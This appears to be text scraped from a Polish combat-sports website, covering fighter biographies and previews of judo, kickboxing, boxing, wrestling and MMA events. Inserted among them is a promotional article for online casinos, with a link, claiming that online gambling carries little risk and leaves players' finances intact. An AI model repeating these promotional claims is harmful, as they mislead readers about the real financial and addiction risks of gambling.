Gala UFC 195 odbędzie się 2 stycznia 2016 roku MGM Grand Garden Arena w Las Vegas. Podczas gali ma odbyć się pojedynek o tytuł w wadze koguciej między Rondą Rousey i Holly Holm. Organizacja UFC nie wydała jeszcze oficjalnego oświadczenia w tej kwestii, jednak wszystko wskazuje na to, że wszystko jest już dopięte na ostatni guzik.

KM

Chabib Nurmagomiedow

Rosyjski zawodnik MMA Dagestańskiego pochodzenia urodzony 20 września 1988 roku w Machaczkale. Chabib od urodzenia trenował sztuki walki pod okiem ojca. Przygodę rozpoczął od zapasów lecz nie odniósł w niej sukcesów. Po pięciu latach postanowił pójść śladami ojca i zaczął trenować judo. Następnie przyszedł czas  na sambo bojowe w którym zdobył dwukrotnie mistrzostwo Świata oraz wielokrotnie zwyciężał w krajowych zawodach.  W wieku 19 lat zadebiutował w MMA na zawodach organizowanych w Połtawie wygrywając z Azerem Wiusałem Bajramowem przez poddanie. Miesiąc później zwyciężył w turnieju Pankration Artium w Moskwie, pokonując jednego wieczora trzech rywali. W sierpniu 2009 roku w swoim rodzinnym Dagestanie wygrał mini-turniej gdzie pokonał dwóch rywali, obu przez techniczny nokaut. Pod koniec roku, w listopadzie wygrał turniej M-1 Selection poddając utalentowanego Szachbułata Szamchałajewa dźwignią na rękę. W latach 2010-2011 walczył w dwóch czołowych rosyjskich federacjach MMA M-1 Global i ProFC gdzie w tej drugiej stoczył aż sześć walk w 2011 roku, wszystkie wygrywając przed czasem. Miesiąc po ostatniej walce na ProFC, która miała miejsce w październiku w mediach ukazała się informacja, że Rosjanin podpisał kontrakt z UFC. Niepokonany w 16 zawodowych walkach, na początku 2012 roku w debiucie dla UFC zmierzył się z Irlandczykiem Kamalem Shalorusem. Nurmagomiedow pokonał Irlanczyka poddaniem w ostatniej rundzie. W dwóch kolejnych pojedynkach dla UFC pokonywał doświadczonych Brazylijczyków Gleisona Tibau i Thiago Tavaresa, tego drugiego przez ciężki nokaut w pierwszej rundzie. W maju 2013 roku wygrał z Abelem Trujillo, ustalając przy tym rekord udanych sprowadzeń do parteru w ciągu jednego pojedynku. We wrześniu 2013 roku zdominował także Amerykanina Pata Healego po trzy rundowym pojedynku. 19 kwietnia 2014 roku pokonał na punkty Brazylijczyka Rafaela Dos Anjosa.

Do Astany po medal

Judocy odliczają godziny do rozpoczęcia mistrzostw świata w Astanie. Podczas ubiegłorocznego czempionatu w Czelabińsku reprezentacja Polski zdobyła jeden medal za sprawą Katarzyny Kłys. Jak będzie tym razem?

Brązowy medal Kłys był niczym woda dla spragnionego na pustyni. Polskie judo przez jedenaście lat cierpiało ze względu na brak medalu mistrzostw świata. Nasza zawodniczka przełamała fatalną passę. Fani judo liczą, że teraz Polacy będą regularnie odnosili sukcesy na światowym czempionacie.

Powtórzyć wynik

Wywalczenie medalu w Astanie to plan minimum dla naszej reprezentacji. Zwłaszcza, że w tym roku biało-czerwoni blado wypadli podczas Igrzysk Europejskich w Baku, które równocześnie były dla nich mistrzostwami Europy. Wszystko przez odebranie prawa do organizacji imprezy Wielkiej Brytanii. W Astanie Polacy muszą powtórzyć wynik, ale nie z Baku, lecz z Czelabińska.

Bezapelacyjną faworytką do medalu w kategorii 78kg jest Katarzyna Kłys. Obecny sezon w wykonaniu judoczki jest przeciętny, jednak miała chwile przebłysku dobrej formy. W Baku Kłys zajęła 5. miejsce, co było najlepszym wynikiem wśród reprezentantów Polski. Dobrą dyspozycję prezentuje również Daria Pogorzelec (na zdjęciu) w kategorii +78kg. Judoczka Wybrzeża Gdańsk jest przecież piątą zawodniczką Igrzysk Olimpijskich w Londynie. Wśród panów bezapelacyjnym numerem jeden pozostaje Maciej Sarnacki. Polak rywalizujący w kategorii +100kg prezentuje nierówną formę. Wygrał Puchar Świata na warszawskim Torwarze, a potem zgasł, jednak obudził się w lipcu w Tiumeniu, gdzie podczas zawodów Grand Slam zajął trzecią pozycję. Warto również pamiętać o potencjale Agaty Ozdoby w kategorii 63kg. Judoczka AZS AWF Katowice w ubiegłym roku wywalczyła brązowy medal mistrzostw Europy.

Należy wiązać nadzieje z żeńską kadrą, która podczas ubiegłorocznego czempionatu przegrała pojedynek o brązowy medal z Niemkami. Teraz nasze judoczki mierzą w podium.

Wyeliminowane przez kontuzje

Do Astany miały udać się Ewa Konieczny i Agata Perenc, jednak z powodu urazów obie zawodniczki będą mogły tylko śledzić poczynania koleżanek i kolegów. Rywalizującą w kategorii 48kg Konieczny z udziału w mistrzostwach wyeliminowała kontuzja kolana, której doznała podczas zgrupowania w Słowenii. Z kolei Perenc (52kg), która w tym sezonie notowała dobre starty na arenie międzynarodowej złamała kość strzałkową.

Pierwotnie do udziału w mistrzostwach zgłoszono siedemnastu zawodników z Polski, jednak w wyniku kontuzji ta liczba zmalała do piętnastu. Anna Borowska (57kg) i Karolina Tałach (63kg) przewidziane są tylko do startu w turnieju drużynowym.

Rywalizacja ma odbywać się w czternastu wagach – siedmiu żeńskich i siedmiu męskich. Na tatami zaprezentuje się ponad ośmiuset judoków ze 130 krajów. Rywalizacja wystartuje 24 sierpnia, a pierwsi Polacy zaprezentują się dzień później. Występy biało-czerwonych zainaugurują Karolina Pieńkowska (52kg) oraz Aleksander Beta (66kg). Turniej zakończą zmagania drużynowe, gdzie zaprezentuje się reprezentacja kobiet. 

 

KM

DSF Kickboxing Challenge – Polska vs Węgry

Możemy już zaprezentować kolejne nazwiska zawodników, którzy wezmą udział w wielkim wydarzeniu jakim będzie gala DSF Kickboxing Challenge w Płocku w piątek 18-go września. Tym razem pragniemy przedstawić zawodników, którzy występem w hali Orlen Arena otworzą sportowe święto Kickboxingu i walk na zasadach K-1 i Full-contact.

I tak w pierwszym starciu staną naprzeciw siebie najlżejsi zawodnicy kategorii piórkowej. W roli gospodarza wystąpi Kamil Koperski z Rajewski Team Płock i podejmie wyzwanie, które rzucił mu Sebastian Słoń z SKKB Kielce. Nie trzeba dodawać, że pojedynek ma podtekst „Świętej Wojny” jaką na niwie piłki ręcznej toczą zawsze Płock i Kielce.

Derbowy wewnątrz płocki wymiar będzie miało starcie Łukasza Bujalskiego z UKS Sanda Płock i Dawida Czyżyka z Rajewski Team Płock. To nie tylko wymiar ciężaru wagi ciężkiej na tej gali, ale obaj dźwigać będą brzemię odpowiedzialności za konfrontację trenerską Piotra Paśnika i Roberta Rajewskiego Seniora. Zapewne ich klubowi koledzy na trybunach będą mocno ściskać kciuki a temperatura tej walki będzie ogromna.

Wielkim testem młodych talentów będzie bój jaki stoczą 21-letni Kamil „Tornado” Szłapka z Our Team Poznań i Marcin Stopka z Fight House 27 Nowy Sącz. Być może będziemy świadkami narodzin gwiazd formuły K-1, bowiem obaj do takiej roli aspirują. Szłapka to Mistrz Polski w formule Full-contact i wicemistrz w formule K-1 Rules. Z kolei Stopka to podwójny złoty medalista ostatnich Otwartych Mistrzostw Czech w Kickboxingu i podopieczny jednego z najlepszych polskich zawodników formuły K-1 na niwie zawodowej Rafała Dudka.

Kolejne z awizowanych zestawień to także pojedynek Płock kontra Kielce i będzie ono gratką dla kibiców nie tylko Kickboxingu, ale także obserwatorów sportowej rywalizacji między tymi miastami, bowiem utalentowanyDawid Wysokiński z miejscowego Gedeon Płock zmierzy się z Grzegorzem Kołodziejem z SKKB Kielce. Walka odbędzie się w kategorii półśredniej do 67 kg.

Tą część gali zamknie pojedynek zawodników, którzy już dobrze pokazali się w cyklu DSF Kickboxing Challenge czyli Michała Dykowskiego z Freestyler Włocławek i Jakuba Bartnika z X Fight Piaseczno. Stanowić on będzie podsumowanie wstępnej karty walk półzawodowych nazywanej Pro-Am, ale także trenerski pojedynek znanego płocczanina Marcina Różalskiego, który trenuje Dykowskiego i Piotra Siegoczyńskiego – pierwszego polskiego mistrza świata, pełniącego rolę szkoleniowca Bartnika i zarazem Dyrektora Sportowego projektu DSF Kickboxing Challenge.

W pojedynkach głównej karty kibice zobaczą w akcji mistrzów organizacji: Dorotę Godzinę Łukasza Wichowskiego. Także wschodzące gwiazdy europejskiej sceny Radosława Paczuskiego Jana Lodzika. Cała czwórka to fighterzy elitarnej grupy DSF Kickboxing Team, do którego należą najlepsi polscy zawodnicy. Miejscowi fani zobaczą zapowiedzianą wcześniej walkę Mateusza Rajewskiego z Płocka i Cezarego „Juniora” Zugaja z Białegostoku. Ogółem kibice obejrzą , aż 13 emocjonujących starć, które zostaną wkrótce oficjalnie ogłoszone.

Płock należy do najsilniejszych polskich ośrodków Sztuk Walki. Zawodnicy z Płocka i poprzez walki w Płocku trafiali na największe polskie i europejskie areny K-1 i MMA. Mamy nadzieję, że poprzez najszybciej rozwijający się polski projekt gal DSF Kickboxing Challenge, stanie się podobnie i w przypadku młodych gwiazd występujących w Orlen Arena.

 

Poniżej aktualne zestawienie pojedynków:

Walki Pro-Am

K-1 Rules 57 kg: Sebastian Słoń (SKKB Kielce) vs Kamil Koperski (Rajewski Team Płock)

K-1 Rules +91 kg: Łukasz Bujalski (UKS Sanda Płock) vs Dawid Czyżyk (Rajewski Team Płock)

K-1 Rules 70 kg: Kamil Szłapka (Our Team Poznań) vs Marcin Stopka (Fight House 27 Nowy Sącz)

K-1 Rules 67 kg: Dawid Wysokiński (Gedeon Płock) vs Grzegorz Kołodziej (SKKB Kielce)

K-1 Rules 81 kg: Michał Dykowski (Freestyler Włocławek) vs Jakub Bartnik (X Fight Piaseczno)

Karta Główna Walki PRO

K-1 Rules 63,5 kg: Mateusz Rajewski (Rajewski Team Płock) vs Cezary Zugaj Jr. (White Bears Białystok)

Extra Fight

Full-contact 81 kg: Łukasz Wichowski (DSF Kickboxing Team/X Fight Piaseczno) vs TBA

Polska vs Węgry

K-1 Rules 63,5 kg: Jan Lodzik (DSF Kickboxing Team/Tajfun Legionowo) vs TBA (Węgry)

K-1 Rules 56 kg: Dorota Godzina (DSF Kickboxing Team/X Fight Piaseczno) vs TBA (Węgry)

Walka o pas DSF Kickboxing Challenge

K-1 Rules 81 kg: Radosław Paczuski (Polska/DSF Kickboxing Team/Uniq Fight Club) vs TBA

 

Wszystkich chętnych, którzy zechcą przeżyć niezapomniany wieczór w hali Orlen Arena przy Placu Celebry Papieskiej 1 w piątek 18-go września już dziś zachęcamy do zakupu biletów na galę DSF Kickboxing Challenge „Polska vs Węgry” na stronie www.eventim.pl lub w sieci punktów sprzedaży firm.

Hazard bez wychodzenia z domu

Wielu miłośników gier hazardowych zastanawia się, czy kasyna online dają naprawdę tak duże możliwości? Czy faktycznie mogą zastąpić grę w tradycyjnym lokalu? Okazuję się że, tak. Taka forma zabawy jest nawet lepsza i niejednokrotnie bardziej opłacalna dla graczy online, a i ryzyko jest znacznie mniejsze.

Wiele osób jest zdania, że kuszenie się na granie w kasynach internetowych, to tylko strata czasu, że taka forma zabawy nigdy nie zastąpi tradycyjnego kasyna, pełnego adrenaliny, ludzi i krupierów. Fakt, że gracze nie widzą się nawzajem, że nie ma się bezpośredniej styczności z bankierem podczas baccarata, że przeciwnik w pokerze jest anonimowy, wcale nie oznacza, że hazard internetowy jest gorszy od tego prowadzonego w realnym świecie. Wręcz przeciwnie.

Coraz większa liczba graczy, coraz chętniej zagląda właśnie ma serwisy, które oferują taką formę rozrywki. Po pierwsze, nie każdy ma czas i możliwości na osobiste wycieczki do takich parków rozrywki, po prostu nie w każdym mieście się znajdują, a jeśli już są, to zapewniają zaledwie marną grę na starych automatach, a to przecież żadna rewelacja. Po drugie kasyna online oferują grę o stawki dowolne, czyli gramy za tyle ile nas stać.

Jeśli nasz portfel nie oferuje za wiele, a wręcz świeci pustkami, zawsze można zagrać o wirtualne pieniądze, co wcale nie umniejsza doskonałej zabawie. Zawsze, też można zrezygnować z gry w jej trakcie, nie tracą przy tym fortuny. Jednym słowem gra online, jest o wiele bezpieczniejsza zwłaszcza dla początkujących. Trzecią zaletą hazardu internetowego będzie właśnie fakt, że mimo przegranej, finanse nadal zostają w portfelu a my nie stajemy się bankrutami, nie zastawiamy aut, domów, czy innych wartościowych rzeczy. Kończymy grę i tyle. Kasyno w realnym świecie nie działa na takich zasadach. Dla takich miejsc liczy się tylko zysk, nie ważne jakim kosztem. Poza tym, grając w realu trzeba mieć do tego i bogate umiejętności i bogato wypchany portfel, gdyż siadając do ruletki czy pokera kilka groszy nie wystarczy, chęci też nie pomogą.

Kasyna internetowe są więc, doskonałą alternatywą dla tych tradycyjnych. Można grać tylko dla czystej przyjemności, bez obaw, bez ryzyka, i co ważne siedząc przed ekranem własnego komputera i nawet przegrana może wtedy cieszyć, bo chodzi przecież o emocje i dobrą zabawę.

Sprawdź stronę informatora gier online na http://e-play.eu/ i poznaj gry hazardowe przez internet.

Francis Carmont

Francuzki zawodnik MMA urodzony 10 listopada 1981 roku w Paryżu. W zawodowym MMA Carmont zadebiutował  29 lutego 2004 roku na Brytyjskiej gali UKMMAC 6 – Extreme Warriors, pokonał wtedy zawodnika gospodarzy Kuljita Deguna poddając go dźwignią na staw łokciowy. Następne dwie walki dla Brytyjskiej organizacji przegrywał przed czasem. 8 października 2005 roku przegrał pojedynek  z Grzegorzem Jakubowskim na turnieju European Vale Tudo 5 – Phoenix. 3 lipca 2006 roku wygrał turniej na gali KSW 5 pokonując kolejno: Goce Candowskiego przez decyzję sędziowską, Piotra Bagińskiego przez TKO i w finale Roberta Jocza przez decyzję. Swoją czwartą walkę w KSW stoczył 10 listopada 2007 roku na KSW 8. Przegrał wtedy z Karolem Bedorfem przez decyzję sędziowską. Kolejny pojedynek w Polsce stoczył 13 września 2008 roku na gali KSW Extra przeciwko Łukaszowi Jurkowskiemu. Francuz wygrał pojedynek poddając Polaka pod koniec pierwszej rundy. Na gali Strenght and Honor 3, która odbyła się18 września 2010 roku w Genewie stoczył pojedynek z Rosjaninem Emilem Zachariewem. Po niecałych dwóch rundach Francuz zmusił rywala do poddania i tym samym zdobył mistrzostwo organizacji Strenght and Honor Championship. 9 września 2011 roku podpisał kontrakt z UFC. Jeszcze tego samego roku 29 października zadebiutował na gali UFC 137. W swoim debiucie pokonał Chrisa Camozziego przez jednogłośną decyzję sędziów. Swój drugi zwycięski pojedynek stoczył 14 kwietnia 2012 poddając Magnusa Cedenblada duszeniem zza pleców w drugiej rundzie. W kolejnym starciu pokonał przez poddanie Karlosa Vemolę.  Kolejne trzy starcia wygrywał z takimi zawodnikami jak: Tom Lawlor, Lorenz Larkin czy Costas Philippou. Kolejne trzy pojedynki to trzy przegrane walki z Ronaldo Souza, C.B. Dollaway i Thales Leites-em.  27 marca 2015 na gali Bellator 135 pokonał Guilherme Viana decyzją sędziowską.

Michael Bisping

Brytyjski zawodnik MMA urodzony 28 lutego 1979 roku w Nikozji. W wieku 8 lat zaczął trenować jiu-jitsu. W 1994 roku, mając 15 lat wziął udział w pierwszych na Wyspach Brytyjskich zawodach NHB (bez chwytów zabronionych), które były prekursorami przyszłego MMA. Od 18 roku życia rozpoczął treningi kickbokserskie oraz karate gdzie osiągnął mistrzostwo kraju w kickboxingu. W 1998 roku po zdobyciu drugiego mistrzostwa kraju porzucił uprawianie sportu na rzecz pracy zarobkowej. W MMA zadebiutował 10 kwietnia 2004 roku na gali Pride & glory w Newcastle upon Tyne pokonując Steva Mathewsa przed czasem. W swojej trzeciej zawodowej walce zdobył mistrzostwo Cage Rage w wadze półciężkiej, nokautując Marka Epsteina. Pas tej organizacji obronił raz, gdy w rewanżu ponownie znokautowal Epsteina. 30 kwietnia 2005 roku zdobył kolejny pas lokalnej organizacji, tym razem Cage Warriors. W 2006 roku wziął udział w amerykańskim reality show The Ultimate Fighter który wygrał i zdobył kontrakt z UFC, pokonując 24 czerwca w finałowej walce Josha Haynesa przez TKO. Od 2006 do 2008 wygrywał większość swoich pojedynków w kategorii średniej m.in. z Mattem Hamillem czy Chrisem Lebenem, lecz zanotował również porażki z Rashadem Evansem oraz w eliminatorze do walki o pas mistrzowski UFC przez ciężki nokaut z byłym mistrzem PRIDE Danem Hendersonem. Lata 2009-2011 to zwycięstwa Brytyjczyka nad renomowanymi zawodnikami takimi jak: Denis Kang, Yoshihiro Akiyama i Jorge Riverą oraz przegrana z utytułowanym Brazylijczykiem Wanderleiem Silvą. 28 lutego 2012 w kolejnej walce eliminacyjnej do walki o pas uległ na punkty Chaelowi Sonnenowi. W latach 2012-2015 walczył nierówno. Wygrywał z takimi zawodnikami jak Brian Stann czy Cung Le lecz pojedynki z wyżej sklasyfikowanymi zawodnikami przegrywał m.in. z Vitorem Belfortem czy Lukiem Rockholdem. 18 lipca 2015 roku minimalnie na punkty pokonał Thalesa Leitesa. 27 lutego 2016 roku pokonał Andersona Silvę jednogłośną decyzją na punkty. 4 czerwca 2016 roku Michael Bisping pokonał przez nokaut Luke Rockhold w walce o pas mistrzowski i tym samym zdobył upragniony tytuł.

Bitwa z charakterem

W amfiteatrze w Rabce Zdroju odbędzie się kolejna gala organizacji Battle of Warriors. Dojdzie do prawdziwej wymiany, w której rywalizować będą górale z Resztą Polski.

Jak wiadomo górale mają charakter. Często przejawia się on w ogromnym uporze, zaciętej rywalizacji, ambicji i dążenie do perfekcji. W Rabce Zdroju zaprezentują się fighterzy z Jarosz Fight Club oraz Nowotarski Klub Sportów Walki.

Wieczorem o pas

Podczas gali nie zabraknie rywalizacji o najwyższe laury. W walce wieczoru w kategorii do 75kg o pas Battle of Warriors zmierzą się Patryk Kocaj i Kacper Urbańczyk. Walka odbędzie się na dystansie trzech rund, każda będzie trwała trzy minuty.

Kocaj to fighter, dla którego ostatnie miesiące były bogate w sukcesy. W zeszłym roku zawodnik Jarosz Fight Club sięgnął po brązowy medal mistrzostw Polski low kick. Kocaj bardzo dobrze radzi sobie również na płaszczyźnie K-1, czyli najefektowniejszej z kickbokserskich formuł. Podczas Pucharu Polski 2014 w Nowym Targu fighter wywalczył srebrny medal. Urbańczyk już po raz trzeci pojawi się na gali organizacji Battle of Warriors. Zawodnik reprezentujący barwy Oświęcimskiego Klubu Karate ostatni pojedynek stoczył w lutym. Z Bartoszem Domalikiem rywalizował na gali Battle of Warriors Extra 2 w Budzowie. Urbańczyk nie będzie miło wspominał tej rywalizacji. Po trzech rundach sędziowie przyznali zwycięstwo jego przeciwnikowi. Reprezentant Oświęcimskiego Klubu Karate tym samym będzie chciał pokazać, że stać go na wygrywanie. Warto zauważyć, że Kocaj i Urbańczyk rywalizowali ze sobą w czasach amatorskich. Podczas Pucharu Polski K-1 w Nowym Targu obaj zawodnicy spotkali się w ćwierćfinale. Kocaj nie pozostawił złudzeń swojemu rywalowi. Dlatego też Urbańczyk pała rządzą rewanżu. Zwycięzca będzie mógł poszczycić się mistrzowskim pasem.

Stawiają na efektywność

Organizatorzy chcą zorganizować widowisko najwyższych lotów. Pojedynki w K-1 dają gwarancję wspaniałych akcji, mocnych ciosów i szybkiej oraz regularnej walki.

W kategorii 75kg naprzeciw siebie staną Krzysztof Hornik oraz Kamil Stolarczyk. Zawodnik NKSW w tym roku zdobył brązowy medal mistrzostw Polski K-1. Z kolei Stolarczyk dopiero stawia pierwsze kroki w kickboxingu. Debiutował podczas gali Battle of Warriors Extra 2, kiedy wystąpił w zastępstwie. Na co dzień Stolarczyk trenuje MMA.

Podczas gali w Rabce zaprezentuje się jeden z najlepszych specjalistów w wadze 71kg. Filip Bienias będzie mógł sprawdzić umiejętności Marcina Stopki. Na gali zaprezentują się również panie. W kategorii 52kg wystąpią Beata Zięba i Paulina Nieć. Bartosz Domagalik, który podczas ostatniej gali pokonał Urbańczyk spróbuje swoich sił w rywalizacji z z Bartoszem Frycem z OKK Oświęcim.

Start gali 22 sierpnia o godzinie 18.00. Organizatorzy przygotowali osiem pojedynków, które mają pokazać góralskich charakter.

KM

Głowacki może wybierać

Do tej pory wszyscy są pod wrażeniem stylu w jakim Krzysztof Głowacki rozprawił się z Marco Huckiem. Polski pięściarz w jedenastej rundzie posłał Niemca na deski.

Przypomnijmy, zwycięstwo dało Głowackiemu tytuł mistrza świata WBO w wadze junior średniej. Przed pojedynkiem z Huckiem mało kto dawał polskiemu bokserowi większe szanse.

Wielkie zaskoczenie

Zdziwienie i nie tylko. Głowacki znalazł się na ustach całej polskiej opinii publicznej, a cały bokserski świat odmieniał nazwisko Polaka przez wszystkie przypadki. Konsekwentna praca i doskonalenie umiejętności dały pożądany efekt. Głowacki w konfrontacji z Huckiem pokazał siłę charakteru i ogromną moc. Ruszył odważnie na faworyzowanego Niemca. Głowacki konsekwentnie realizował swoją taktykę i obijał bezradnego Hucka.

W szóstej rundzie jeden z ciosów urodzonego w Serbii pięściarza sparaliżował Głowackiego, który padł na deski. Polak podniósł się i dalej realizował swój plan. Aż w dziesiątej i jedenastej rundzie całkowicie zdominował Hucka. Głowacki obijał swojego rywala niemiłosiernie, a ten był bezradny. Popularny „Główka” wygrał, zdobył mistrzostwo świata i zarazem pomścił swojego brata. W czasach amatorskich Huck rywalizował z Jackiem Głowackim, a Krzysztof przyglądał się tej walce z boku. Teraz Polak udowodnił swoją wyższość.

Kolejka chętnych

Teraz nazwisko naszego boksera znają już niemalże wszyscy. Życie Głowackiego wywróciło się do góry nogami, znalazł się w innym bokserskim świecie. Już o nic nie musi prosić, jest mistrzem i to o jego osobę powinni ubiegać się inni.

Amerykańska telewizja jest otwarta dla Polaka i chętnie wyemituje galę z nim w roli głównej. Również z klasowymi przeciwnikami nie będzie problemu, a i finanse na pewno znacznie wzrosną. Już pojawia się kolejka chętnych, którzy chcieliby stanąć do walki z Głowackim.

Swój akces do rywalizacji z mistrzem świata WBO zgłosił legendarny Roy Jones Jr. Amerykanin jest już wiekowy – liczy czterdzieści sześć wiosen, ale nadal nie daje o sobie zapomnieć. W kolejce pojawiły się również nazwiska Steve’a Cunninghama i BJ Floresa. Na liście pojawiają się bokserzy związani z Alem Haymonem – Antonio Tarver czy Beibut Szumonow.

Przyszłość przed Głowackim rysuje się w kolorowych barwach. Z pewnością rywalizacja z Jonesem Jr nie ma większego sensu. Ciekawie zapowiadałoby się starcie z BJ Floresem, jednak ten ostatnio przegrał z Szumenowem.

Pozycja Głowackiego diametralnie zmieniła się. Teraz to Polak może przebierać w propozycjach jak w ulęgałkach. Startuje z zupełnie innej pozycji. Po walce z Huckiem jego pozycja marketingowa znacząco wzrosła. Kolejne wygrane będą tylko umacniały jego stan posiadania. Kiedy mistrz świata pojawi się w ringu? Niewykluczone, że jeszcze w tym roku. Kilka dni odpoczynku, powrót do treningów, wybór rywala i można bronić pasa. Tak w skrócie to wygląda.

KM

Krzysztof Głowacki

Polski bokser urodzony 31 lipca 1986 roku w Wałczu. Na amatorskim ringu Krzysztof Głowacki stoczył 125 walk z czego 102 wygrał, 20 przegrał i 3 zremisował. W latach 2003, 2004, 2005 zdobywał złoty medal w młodzieżowych Mistrzostwach Polski  w boksie amatorskim. W 2007 roku został wicemistrzem Polski seniorów w kategorii superciężkiej, a rok później zdobył brązowy medal. W latach 2006-2008 był zawodnikiem kadry olimpijskiej. 3 października 2008 roku Krzysztof zadebiutował na zawodowym ringu pokonując na punkty Mariusza Radziszewskiego.  7 listopada tego samego roku w swojej trzeciej walce zmierzył się z Dariuszem Ballą. Głowacki wygrał przez TKO w drugiej rundzie. 20 września 2009 roku Krzysztof Głowacki zdobył wakujący pas federacji BBU International Champion, pokonując po sześciu rundach Łukasza Rusiewicza. 20 grudnia 2009 roku w trzeciej rundzie pokonał przez TKO Josipa Jalusicia. 2 kwietnia 2011 roku Głowacki stoczył pierwszą walkę po operacji łokcia z Levanem Jomardashvilim. Po trzeciej rundzie Gruzin został poddany przez narożnik. 17 marca 2011 roku Głowacki pokonał po sześciu rundach Ismaila Abdoula. 12 sierpnia 2012 roku Krzysztof wygrał z Felipe Romero. Była to pierwsza obrona tytułu Międzynarodowego Mistrza  Polski w kategorii junior ciężkiej. Stawką pojedynku był także wakujący pas WBO Inter-Continental. 28 czerwca 2014 roku doszło do rewanżowego pojedynku z Ismailem Abdoula-em, którego Polak pokonał jednogłośnie na punkty. 31 stycznia 2015 roku na gali Wojak Boxing Night w Toruniu Polak zmierzył się  z Nurim Seferim w eliminatorze do walki o tytuł mistrza Świata Federacji WBO. Po dwunastu rundach Głowacki wygrał jednogłośnie na punkty. 14 sierpnia 2015 na gali w Prudential Center w Newark Polak pokonał Marco Hucka przez nokaut w jedenastej rundzie i zdobył pas mistrza Świata federacji WBO.  Po wygranej z Marco Huckiem w rankingu BoxRec, Polak awansował z 14 na drugie miejsce. 

Blisko medalu

Tylko troje naszych reprezentantów wystartowało w mistrzostwach świata juniorów w zapasach w Salvador de Bahia. Polacy wrócili bez zdobyczy medalowej.

Było blisko. Mimo tylko trzech startujących Polacy pokazali się z dobrej strony i w dwóch przypadkach medal był naprawdę blisko. Ostatecznie rywalizacja w wykonaniu biało-czerwonych to dwa piąte miejsca i dziesiąte.

Trójka walecznych

Sześć dni rywalizacji młodych zapaśników było znakomitą okazją do przekonania się, które kraje mają dobre zaplecze. Wśród pań najwyżej uplasowały się Japonia, Azerbejdżan i Rosja. Nieco inaczej zestawienie wyglądało w stylu klasycznym, gdzie Japonię zastąpiła Gruzja. Z kolei w stylu wolnym Gruzję zamienił Iran. Jak widać na wszystkich polach obecne są Rosja i Azerbejdżan, czyli kraje, w których ogromną uwagę przykłada się do trenowania zapasów i kładzie się nacisk na szkolenie.

W mistrzostwach świata juniorów wystartowało troje reprezentantów Polski. Dominika Szynkowska zaprezentowała się w zapasach kobiet. Dwóch naszych zapaśników rywalizowało w stylu wolnym. W kategorii 84kg wystąpił Krzysztof Sadowik oraz Kamil Kościółek w 120kg. Szynkowska rywalizowała o medal mistrzostw świata z szesnastoma innymi zapaśniczkami. Nasza zawodniczka przeszła przez kwalifikacje w kategorii wagowej 48kg, jednak jej udział w zawodach zakończył się na 1/8 finału. Polka przegrała pojedynek Cody Pfan. Amerykanka zakończyła rywalizację na piątym miejscu, gdyż w walce o brązowy medal uległa Rosjance Milanie Dadashevie. Najlepsza wśród pań w kategorii  48kg okazała się Japonka Miho Igarashi.

Walki o brąz

Dwie szanse medalowe naszych zapaśników w stylu wolnym i obie niewykorzystane. Zapach medalu unosił się w powietrzu, jednak przeszedł bokiem i trafił do innych zawodników. W kategorii 84kg rywalizowało dwudziestu jeden zapaśników, w tym Krzysztof Sadowik. Na występy naszych zawodników trzeba było czekać aż do trzeciego dnia mistrzostw, jednak w obu przypadkach było warto. Zwłaszcza Sadowik imponował dyspozycją i wydawało się, że pewnie zmierza po medal. W 1/8 finału Polak uporał się z reprezentantem Mongolii Gambatem Bigarmijidem. Kolejnym przeciwnikiem Sadowika był Michael Eugene Gaitskill, jednak w tym przypadku nasz zapaśnik nie miał większych problemów i zdecydowanie wygrał. Półfinał to rywalizacja z Dzianisem Khramiankou. Sadowik starał się, ale Białorusin okazał się przeszkodą nie do przejścia. Również pojedynek o brązowy medal nie ułożył się po myśli polskiego zapaśnika.

Nieco inną drogę przeszedł Kamil Kościółek w kategorii 120kg, gdzie wystąpiło czternastu zawodników. Węgier Mihaly Nagy nie sprawił Polakowi trudności, jednak schody zaczęły się w kolejne walce. Said Gaminov w ćwierćfinale rozbił Kościółka, a w ostatecznym rozrachunku zapaśnik z Azerbejdżanu sięgnął po mistrzostwo świata. Z kolei Polakowi pozostała walka w repasażach, gdzie pokonał Meksykanina Maximiliano Betanzo. W pojedynku o brąz czekał już Nathan Butler. Niestety. Polak musiał zadowolić się piątym miejscem.

KM

Szansa Helda

Marcin Held jeszcze w tym roku może być mistrzem wagi lekkiej organizacji Bellator. Polski fighter musi wygrać tylko jedną walkę.

Kariera 23-letniego zawodnika rozwija się błyskawicznie. Już w listopadzie pochodzący z Tych Held stanie przed życiową szansą. Może zostać mistrzem czołowej organizacji mieszanych sztuk walki na świecie.

Lekki mistrz?

To, że Held ma ogromny talent wiadomo nie od dziś. Już w wieku dziewiętnastu lat zadebiutował w Bellator Fighting Championship, jednak był to zimny prysznic dla Polaka. Held przegrał z Michaelem Chandlerem przez poddanie. Nieważne jak się zaczyna, ale jak się kończy. Held na każdym kroku doskonalił swoją technikę i udowodnił, że jest nieprzeciętnym grapplerem.

W 2013 roku Polak był o krok od triumfu w turnieju Bellatora wagi lekkiej. Lepszy decyzją sędziów okazał się Dave Jansen. Rok później Held pokazał, że wyciągnął wnioski z porażki i okazał się najlepszy w turnieju zawodników do 70kg. Patricky Freire musiał uznać wyższość polskiego fightera. 6 listopada w St. Louis Held stanie przed najważniejszym i zarazem najtrudniejszym wyzwaniem w swojej karierze. 23-latek zmierzy się z Willem Brooksem. Mistrz Bellatora wagi lekkiej, jak na czempiona przystało, nie zwykł przegrywać. 29-latek poległ tylko raz. W lutym 2013 roku podczas gali Bellator 91 metodę na Amerykanina znalazł Saad Awad. Popularny „Assassin” ruszył na Brooksa i serią ciosów zakończył walkę już po czterdziestu trzech sekundach.

Jednak teraz 29-letni Amerykanin pozostaje niepokonany od siedmiu pojedynków. W październiku 2013 roku doszło do rewanżu z Awadem, w którym Brooks odniósł triumf. Co ciekawe, ostatnią walkę Amerykanin stoczył w kwietniu z Davem Jansenem, czyli jednym z pogromców Helda. Po piętnastu minutach walki sędziowie punktowali na korzyść Brooksa. Wcześniej dwukrotnie mistrz wagi lekkiej uporał się Michaelem Chandlerem, z którym nie potrafił poradzić sobie Polak.

Można porównywać

Oczywiście nie pod względem doświadczenia i dokonań, bo na tym polu niepodzielnie rządzi Brooks. Mistrz Bellatora wagi lekkiej plasuje się w czołowych dziesiątkach zestawień sherdoga i fightmatrix, gdzie jest jedynym zawodnikiem spoza UFC.

